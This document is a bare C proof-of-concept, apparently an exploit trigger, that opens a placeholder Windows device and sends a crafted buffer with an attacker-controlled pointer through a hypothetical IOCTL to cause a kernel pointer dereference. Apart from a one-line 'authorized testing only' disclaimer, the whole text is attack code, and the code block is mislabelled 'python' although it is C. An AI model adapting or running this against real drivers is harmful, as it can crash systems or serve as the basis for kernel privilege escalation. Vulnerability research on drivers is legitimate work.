The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <stdio.h>
// Hypothetical IOCTL for the vulnerable kernel component
#define VULNERABLE_IOCTL 0x222003
int main() {
HANDLE hDevice;
DWORD bytesReturned;
// Attempt to open the device handle (Generic path for demonstration)
hDevice = CreateFileA("\\\\.\\VulnerableDevice",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open device. Error: %d\n", GetLastError());
return 1;
}
printf("[*] Sending malicious payload to trigger pointer dereference...\n");
// Buffer containing the untrusted pointer address
// In a real scenario, this address would be crafted to point to specific memory
char payload[0x20];
memset(payload, 0x41, sizeof(payload));
// For demonstration, assuming the first bytes are interpreted as a pointer
*(ULONG_PTR*)payload = 0x4141414141414141;
// Trigger the vulnerability
BOOL result = DeviceIoControl(hDevice,
VULNERABLE_IOCTL,
payload, sizeof(payload),
NULL, 0,
&bytesReturned, NULL);
if (!result) {
printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError());
} else {
printf("[*] Payload sent successfully. Check for kernel behavior.\n");
}
CloseHandle(hDevice);
return 0;
}